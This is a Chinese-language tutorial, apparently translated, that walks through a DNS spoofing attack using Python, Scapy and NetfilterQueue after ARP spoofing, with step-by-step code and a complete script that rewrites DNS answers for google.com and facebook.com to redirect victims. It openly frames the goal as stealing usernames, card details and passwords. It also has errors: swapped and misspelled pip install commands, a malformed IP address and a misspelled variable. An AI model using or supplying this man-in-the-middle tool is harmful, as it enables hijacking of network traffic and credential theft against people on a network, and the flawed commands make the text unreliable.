📜  如何在Python使用 Scapy 进行 DNS 欺骗攻击?

📅  最后修改于: 2022-05-13 01:55:47.289000             🧑  作者: Mango

如何在Python使用 Scapy 进行 DNS 欺骗攻击?

在本文中,我们将讨论如何使用Python的Scapy 进行 DNS 欺骗攻击。在开始之前,我们需要了解几点:

  • DNS 服务器:域名系统提供了一种将人类可读的域名匹配到 IP 地址的方法。例如,当我们搜索 google.com 时,浏览器会向 DNS 服务器进行 DNS 查询,以便返回 Google 服务器的 IP 地址(172.217.166.110)。
  • DNS 欺骗: DNS 欺骗 是一种计算机网络攻击,通过替换 DNS 服务器发送的 IP 地址,迫使目标导航到虚假页面。这个目标不知道这是一个假页面。攻击的动机是窃取目标的数据(用户名、信用卡详细信息、密码等)。

所需模块:

  • NetfilterQueue: NetfilterQueue 是一个Python库,它提供对 Linux 中与 iptables 规则匹配的数据包的访问。如此匹配的数据包可以被接受、丢弃、更改或给予标记。运行以下命令进行安装:
pip3 install scapy
  • Scapy: Scapy 是一个Python包,用于操作计算机网络数据包。它可以执行扫描、跟踪路由、探测、单元测试和网络发现等任务。运行以下命令进行安装:
pip3 install netfiltdrqueue

使用的方法:

  • 在目标网络中实施 ARP 欺骗,以便所有数据包都将通过您的设备进行路由。
  • 创建 Iptable 链式规则,将通过设备路由的数据包推送到 Netfilter 队列。
  • 下一步是使用我们的脚本处理数据包(脚本解释如下)。
  • 处理后的数据包将发送给受害者。
  • 然后受害者将收到来自 DNS 响应的虚假 IP 地址。
  • 当您希望终止脚本时,请删除我们在第二步中创建的 Iptable 规则。

让我们看看逐步实现 DNS Spoof 的命令和函数。

第一步:导入模块。



from scapy.all import *

import os
import logging as log
from scapy.all import IP, DNSRR, DNSQR, UDP, DNS
from netfilterqueue import NetfilterQueue

第二步:将此规则插入到IP表中,这样数据包将被重定向到NetfilterQuque。然后我们可以使用scapy包来修改队列中的数据包。 queue-num 可以是您选择的任何数字。

os.system("sudo iptables -I FORWARD -j NFQUEUE --queue-num  1")

第 3 步:创建 NetfilterQueue 对象。

queue = NetfilterQueue()

第四步:将队列对象绑定到队列号和回调函数。然后在实现callBack函数后启动队列。

queue.bind(queueNum,callback)
queue.run()

第 5 步:创建我们需要欺骗的主机名的 DNS 记录字典。您可以添加更多的域名映射作为您的选择(所有映射的 IP 地址不必相同)。

hostsDict = {
    "google.com"  : "192.168..48.243",
    "facebook.com" : "192.168.48.243"
}

第六步:当有新的数据包进入队列时,会调用callBack函数。数据包将作为参数传递给 callBack函数。

def callBack(packet):

第七步:接下来,将NetfilterQueue包转换成scapy包进行处理。

scapyPacket = IP(packet.get_payload())

步骤 8:检查 scapy 数据包中是否包含 DNS 资源记录(DNSRR)。如果它有DNSRR,我们将修改数据包,否则数据包中不会进行任何更改。

if scapyPacket.haslayer(DNSRR):

步骤 9:从 scapy 数据包中获取 DNS 查询名称。查询名称是受害者发送到 DNS 服务器的主机名。



queryName = scapyPacket[DNSQR].qname

步骤10:如果queryName在我们的目标hostDict中,我们用hostDict中的IP地址修改DNS发送的IP地址。

if queryName in hostDict:
    sacpyPacket[DNS].an = DNSRR(rrname = queryName, rdata = hostDict[queryName])

第 11 步:将数据包计数修改为 1,因为我们会向受害者发送一个 DNSRR。

scapyPacket[DNS].ancount = 1

第 12 步:可以使用校验和和其他信息检测数据包损坏,因此我们删除它们并使用 scapy 生成一个新条目。

del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum

步骤13:将修改后的scapy数据包负载设置为NetfilterQueue数据包。

packet.set_payload(bytes(scapyPacket))

第 14 步:数据包已准备好发送给受害者。

packet.accept()

步骤 15:在终止脚本时,删除创建的 IP 表规则。

os.system("sudo iptables -D FORWARD -j NFQUEUE --queue-num 1")

下面是完整的实现:

Python3
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
  
  
class DnsSnoof:
    def __init__(self, hostDict, queueNum):
        self.hostDict = hostDict
        self.queueNum = queueNum
        self.queue = NetfilterQueue()
  
    def __call__(self):
        log.info("Snoofing....")
        os.system(
            f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
        self.queue.bind(self.queueNum, self.callBack)
        try:
            self.queue.run()
        except KeyboardInterrupt:
            os.system(
                f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
            log.info("[!] iptable rule flushed")
  
    def callBack(self, packet):
        scapyPacket = IP(packet.get_payload())
        if scapyPacket.haslayer(DNSRR):
            try:
                log.info(f'[original] { scapyPacket[DNSRR].summary()}')
                queryName = scapyPacket[DNSQR].qname
                if queryName in self.hostDict:
                    scapyPacket[DNS].an = DNSRR(
                        rrname=queryName, rdata=self.hostDict[queryName])
                    scapyPacket[DNS].ancount = 1
                    del scapyPacket[IP].len
                    del scapyPacket[IP].chksum
                    del scapyPacket[UDP].len
                    del scapyPacket[UDP].chksum
                    log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
                else:
                    log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
            except IndexError as error:
                log.error(error)
            packet.set_payload(bytes(scapyPacket))
        return packet.accept()
  
  
if __name__ == '__main__':
    try:
        hostDict = {
            b"google.com.": "192.168.1.100",
            b"facebook.com.": "192.168.1.100"
        }
        queueNum = 1
        log.basicConfig(format='%(asctime)s - %(message)s', 
                        level = log.INFO)
        snoof = DnsSnoof(hostDict, queueNum)
        snoof()
    except OSError as error:
        log.error(error)


执行攻击:

  1. 以超级用户身份(sudo 命令)运行 ARP 欺骗脚本,以成为中间人。您可以在此处找到脚本和教程。
  2. 现在,以我们现在创建的超级用户身份(sudo 命令)运行 DNS 欺骗脚本。

在运行脚本之前尝试从受害者的机器上 ping google.com 和 facebook.com。



运行脚本后尝试从受害者的机器上 ping facebook.com。

受害者机器

攻击机

运行脚本后尝试从受害者的机器 ping google.com。

受害者机器

攻击机

请注意,google.com 和 facebook.com 都映射到相同的 IP 地址。如果修改后的 IP 地址在网络中,流量将被转发到该 IP 地址。